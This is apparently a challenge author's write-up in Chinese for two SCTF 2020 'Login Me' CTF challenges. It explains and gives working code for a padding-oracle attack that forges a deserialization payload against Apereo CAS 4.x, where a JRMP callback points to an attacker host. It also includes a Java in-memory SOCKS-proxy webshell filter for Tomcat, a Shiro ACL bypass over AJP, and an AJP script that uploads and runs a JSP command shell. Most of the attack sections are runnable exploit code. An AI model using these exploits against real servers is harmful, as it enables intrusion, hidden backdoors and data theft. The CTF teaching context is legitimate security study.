SCTF 2020 两道Login Me预期解的核心技术

Login Me - cas 4.x excution rce(黑盒)

详细的漏洞分析可以参考Apereo CAS 4.X execution参数反序列化漏洞分析这里不在赘述。文章提到了,前后两个版本区间的encode方法是不一样。

在cas4.x-cas.4.1.5中的加密伪代码如下

1
2
3
4
payload = gzip(Java Serialized data)
body = aes128_cbc_encode(key, iv, payload))
header = '\x00\x00\x00\x22\x00\x00\x00\x10'+iv+'\x00\x00\x00\x06'+'aes128'
excution = uuid + b64encode(header + body)

CAS 4.1.7 ~ 4.2.X的加密伪代码如下

1
2
3
4
cipher = aes128_cbc_encode(iv + gzip(Java Serialized data))
data = b64encode(cipher)
jwsToken = jws.sign(data, jws_key, algorithm=‘HS512’)
excution = uuid + b64encode(jwsToken)

因为encode的变化excution是不一样的亦可作为判断版本的指纹。

  • cas4.x-cas.4.1.5之前特征:execution base64解码出来以\x00\x00\x00\x22\x00\x00\x00\x10开头。

image.png

  • 4.1.6之后特征:execution两次base64解码出来不是乱码而是jws格式(header.body.sign)的字符串。

image.png
解密题目的execution不难发现,环境是4.x-4.1.5。此外看到,前后两个版本的encode的方式唯一的差异是4.1.6之后execution的需要进行加密签名,联系到它使用的是aes/cbc说到这应该很熟悉了吧padding oracle!

这里padding oracle,仍然需要讲究技巧,直接生成cc链一类的payload进行padding大约需要padding 114组左右数据(题目两小时重启一次,gadget还需要fuzz,这是一个难以完成的任务),但是如果环境能出网的话用jrmp就需要padding 14组数据左右了,这里视环境情况仍然需要跑1h-3h不等,但是通过的分析过cve-2018-2628之后发现jrmp的payload的可以更短只需要7组,我在同区域的阿里云上多线程跑不到20分钟就有了结果(这也是题目描述Time is Flag的暗示233333)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from jose import jws
from Crypto.Cipher import AES
from cStringIO import StringIO
from multiprocessing.pool import ThreadPool
import time
import requests
import base64
import zlib
import uuid
import binascii
import json
import subprocess
import requests
import re

start_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

iv = uuid.uuid4().bytes
header_mode = '\x00\x00\x00\x22\x00\x00\x00\x10{iv}\x00\x00\x00\x06aes128'

JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar'
URL= "http://ip:port/login"


headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:66.0) Gecko/20100101 Firefox/66.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"JSESSIONID":"ADF6653ED3808BE63B052BCED53494A3"}

def base64Padding(data):
missing_padding = 4 - len(data) % 4
if missing_padding and missing_padding != 4:
data += '=' * missing_padding
return data

def compress(data):
gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS | 16)
data = gzip_compress.compress(data) + gzip_compress.flush()
return data

def bitFlippingAttack(fake_value, orgin_value):
iv = []
for f, o in zip(fake_value, orgin_value):
iv.append(chr(ord(f) ^ ord(o)))
return iv

def pad_string(payload):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
return pad(payload)

def send_request(paramsPost,w):
response = requests.post(URL, data=paramsPost, headers=headers, cookies=cookies, allow_redirects=False)
return w, response

def paddingOracle(value):
fakeiv = list(chr(0)*16)
intermediary_value_reverse = []
for i in range(0, 16):
num = 16
response_result = []

for j in range(0, 256-num+1, num):
jobs = []
pool = ThreadPool(num)
for w in range(j, j + num):
fakeiv[N-1-i] = chr(w)
#print(fakeiv)
fake_iv = ''.join(fakeiv)
paramsPost = {"execution":"4a538b9e-ecfe-4c95-bcc0-448d0d93f494_" + base64.b64encode(header + body + fake_iv + value),"password":"admin","submit":"LOGIN","_eventId":"submit","lt":"LT-5-pE3Oo6oDNFQUZDdapssDyN4C749Ga0-cas01.example.org","username":"admin"}
job = pool.apply_async(send_request, (paramsPost,w))
jobs.append(job)

pool.close()
pool.join()

for w in jobs:
j_value, response = w.get()
#print(response)
if response.status_code == 200:
print("="*5 + "200" + "="*5)
response_result.append(j_value)
print(response_result)

if len(response_result) == 1:
j_value = response_result[0]
intermediary_value_reverse.append(chr((i+1) ^ j_value))
for w in range(0, i+1):
try:
fakeiv[N-w-1] = chr(ord(intermediary_value_reverse[w]) ^ (i+2))
except Exception as e:
print(fakeiv, intermediary_value_reverse, w, i+1)
print(base64.b64encode(value))
print(e)
exit()
print(fakeiv)
else:
print(response_result)
print("Exit Because count of is " + str(len(response_result)))
exit()
print("="*5 + "sleep" + "="*5)
time.sleep(1)

intermediary_value = intermediary_value_reverse[::-1]
return intermediary_value

def pad_string(payload):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
return pad(payload)

if __name__ == '__main__':
popen = subprocess.Popen(['java', '-jar', JAR_FILE, 'JRMPClient2', 'your_ip:your_port'],stdout=subprocess.PIPE)
payload = popen.stdout.read()
payload = pad_string(compress(payload))

excution = "input_excution"

body = base64.b64decode(excution)[34:]
header = base64.b64decode(excution)[0:34]
iv = list(header[8:24])

N=16

fake_value_arr = re.findall(r'[\s\S]{16}', payload)
fake_value_arr.reverse()

value = body[-16:]

payload_value_arr = [value]

count = 1
all_count = len(fake_value_arr)
print(all_count)
for i in fake_value_arr:
intermediary_value = paddingOracle(value)
print(value, intermediary_value)
fakeIv = bitFlippingAttack(intermediary_value, i)
value = ''.join(fakeIv)
payload_value_arr.append(value)

print(count, all_count)
count += 1


fakeiv = payload_value_arr.pop()
payload_value_arr.reverse()

payload = header_mode.format(iv=fakeiv) + ''.join(payload_value_arr)
print(base64.b64encode(payload))

end_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
print(start_time,end_time)
f = open('/tmp/cas.txt', 'w')
f.write(base64.b64encode(payload))
f.close()

通过jrmp出来fuzz gadget也很方便,这里用的是JDK7u21(在自己做的时候发现统一端口请求一次jrmp之后,后面的再一次请求会变得很慢,这里可以选择再跑一个端口出来交替使用)。接下来就是常见的读取数据库连接字符串查用户登陆的操作了,在此不细表。

Login Me Again - shiro rce && shiro bypass acl(白盒)

这道题,由我和@leixiao合作完成,前半部分shiro不出网rce利用由leixiao负责完成,后半部分shiro bvpass acl部分由我负责完成。
先贴一个当时构思这道题时候的速记(有删改):

环境:外网一个有shiro rce的不出网应用(打包成jar),内网有一个spring+最新版shiro写一个只允许图的上传功能(打包成war),上传功能需要管理员权限(shiro鉴权)部署在有ajp漏洞的tomcat7上。

攻击思路
1.通过注入有socks5代理功能的webshell代理到内网。
2.找shiro新的权限绕过方法或者谷歌搜到我之前找的shiro ajp越权:https://issues.apache.org/jira/browse/SHIRO-760,越权上传文件或者用c0ny1师傅的姿势。
3.用ajp漏洞包含刚才上传的图片rce

利用难点:1.市面上还没有socks5代理功能的无文件webshell,需要选手自己从已有的jsp构造转换成无文件的webshell。2.自己挖越权或者搜到我之前提交的那个越权issue或者用其他办法。3.市面ajp协议的介绍较少,需要选手自己研究如何用ajp协议上传文件。

下面就从利用难点,逐一说明

无文件socks5代理

因为这里是shiro,shiro本身也是一个filter,所以内存马最好也搞成filter(优先级最高),内存马的思路可以看基于Tomcat无文件Webshell研究。至于具体filter的逻辑,改一下reg就好了,下面贴一下leixiao师傅的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package reGeorg;

import javax.servlet.*;
import java.io.IOException;

public class MemReGeorg implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("X-CMD");
if (cmd != null) {
response.setHeader("X-STATUS", "OK");
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
int port = Integer.parseInt(request.getHeader("X-PORT"));
java.nio.channels.SocketChannel socketChannel = java.nio.channels.SocketChannel.open();
socketChannel.connect(new java.net.InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (java.net.UnknownHostException e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
} catch (java.io.IOException e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("DISCONNECT") == 0) {
java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
try{
socketChannel.socket().close();
} catch (Exception ex) {
}
session.invalidate();
} else if (cmd.compareTo("READ") == 0){
java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
try {
java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so = response.getOutputStream();
while (bytesRead > 0){
so.write(buf.array(),0,bytesRead);
so.flush();
buf.clear();
bytesRead = socketChannel.read(buf);
}
response.setHeader("X-STATUS", "OK");
so.flush();
so.close();
} catch (Exception e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
}

} else if (cmd.compareTo("FORWARD") == 0){
java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
try {
int readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("X-STATUS", "OK");
} catch (Exception e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();
}
}
} else {
filterChain.doFilter(request, response);
}
}

public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];

try {
dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}

return true;
}

public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
;
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}

ajp越权的shiro acl

这一点后面的提示也给出来了,可以用how-to-detect-tomcat-ajp-lfi-more-accurately提到的办法,也可以用我之前提交的SHIRO-760。poc在issue里面已经给了,漏洞的demo环境在我github上可以找到,这里借这个机会分享一下当时挖掘的思路。

通过分析前人的文章可以知道,我们可以知道在org.apache.shiro.web.util.WebUtils#getPathWithinApplication内部会对requestUri进行提取并交给patchMatches匹配以判断是否需要鉴权。
image.png
多次步入后,可以看到具体的获取uri的实现是其中的getRequestUri。getRequestUri首先会获取javax.servlet.include.request_uri的值如果获取到了就不会进入 if (uri == null)
image.png
而如果有师傅看过shiro上一次对越权的修复的话会发现,补丁是打在if (uri == null)中的,通过ajp控制javax.servlet.include.request_uri相当于绕过上一次的补丁点。
image.png
接着这里提取出来的uri/;/admin/page会进入decodeAndCleanUriString中进行清洗。decodeAndCleanUriString会取分号前的内容返回。
image.png
在这里返回的就是/,后面shiro的正则/admin/*自然也就拦截不了。

此外,光绕过shiro还不行,spring不解析这条路由也没用,一个开始我也为用前人文章中的 /xxxx;/../ 可以轻松绕过,黑盒发现并不行。分析ajp漏洞的时候我们知道,tomcat先调用对所有filter进行过滤然后会调用对应的servlet,而在spring都是统一由DispatcherServlet进行统一调度的。所以一开始我选择把断点打到org.springframework.web.servlet.FrameworkServlet#doGet(_DispatcherServlet继承FrameworkServlet_)。又因为spring是通过HandlerMapping来找对应的控制器,所以步入断点之后就开始找哪个地方有这个逻辑。最后在/org/springframework/web/servlet/DispatcherServlet.class:484找到。
image.png
步入之后spring把已经注册过Mapping轮询一次。在代码中我们用的@GetMapping这里就对应ReuqestMappingHandlerMapping。
image.png
步入ReuqestMappingHandlerMapping之后再多次步入,最后来到org.springframework.web.util.UrlPathHelper#getPathWithinApplication
image.png
这里三个箭头是关键的三个点,第一个箭头会对uri提取并“消杀”,第二个箭头会去pathWithinApp中servletPath之后的内容。第三个箭头返回path交给HandlerMapping匹配。

我们先来看第一个箭头“消杀”的步骤。
image.png
image.png
上图removeSemicolonContent会移除uri中;/;/admin/page变为//admin/page。getSanitizedPath会对移除重复的///admin/page 变为 /admin/page (_ps:这里并不会处理..及.这也是为啥老payload /xxx;/../无法用的原因,虽然可以绕过但是之后spring handlerMapping匹配不到。_)

再来第二个箭头,这个getRemainingPath会提取处Uri中conextPath之后的部分。举个反例如果我们把javax.servlet.include.servlet_path设置为/,那么返回给HandlerMapping将会是 admin/page ,而HandlerMapping只会匹配/admin/page这也是为什么javax.servlet.include.servlet_path需要置为空的原因。

回过头看漏洞本质还是在于spring和shiro在规范消杀url时标准不一致造成的问题。因为最新版的tomcat已经默认把ajp关了,并且在反代情况下tomcat 8009也不会对外开放所以这个洞的利用还是受很大限制的。

ajp上传文件

因为网上ajp协议讨论较少,和exp有关的只有CVE-2020-1938,不过payload的构造比较单一并不涉及到上传文件的请求,网上应该也没有介绍相关的文章。那要怎么通过ajp传?我预想的思路是选手通过阅读相关类库来解决比如AJPy,在tomcat.py中提供了一种部署war包getshell的操作,这里面就有上传文件的操作,可以借鉴。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import sys
import os
from io import BytesIO
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat import Tomcat

target_host = "127.0.0.1"
gc = Tomcat(target_host, 8009)

filename = "shell.jpg"
payload = "<% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(\"cat /flag.txt\").getInputStream())).readLine()); %>"

with open("/tmp/request", "w+b") as f:
s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="file"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % filename
s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
f.write(s_form_header.encode('utf-8'))
f.write(payload.encode('utf-8'))
f.write(s_form_footer.encode('utf-8'))

data_len = os.path.getsize("/tmp/request")

headers = {
"SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
"SC_REQ_CONTENT_LENGTH": "%d" % data_len,
}

attributes = [
{
"name": "req_attribute"
, "value": ("javax.servlet.include.request_uri", "/;/admin/upload", )
}
, {
"name": "req_attribute"
, "value": ("javax.servlet.include.path_info", "/", )
}
, {
"name": "req_attribute"
, "value": ("javax.servlet.include.servlet_path", "", )
}
, ]

hdrs, data = gc.perform_request("/", headers=headers, method="POST", attributes=attributes)

with open("/tmp/request", "rb") as f:
br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
responses = br.send_and_receive(gc.socket, gc.stream)

r = AjpResponse()
r.parse(gc.stream)

shell_path = r.data.decode('utf-8').strip('\x00').split('/')[-1]
print("="*50)
print(shell_path)
print("="*50)

gc = Tomcat('127.0.0.1', 8009)

attributes = [
{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
{"name": "req_attribute", "value": ("javax.servlet.include.path_info", shell_path,)},
{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
]
hdrs, data = gc.perform_request("/uploads/1.jsp", attributes=attributes)
output = sys.stdout

for d in data:
try:
output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
output.write(repr(d.data))
You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.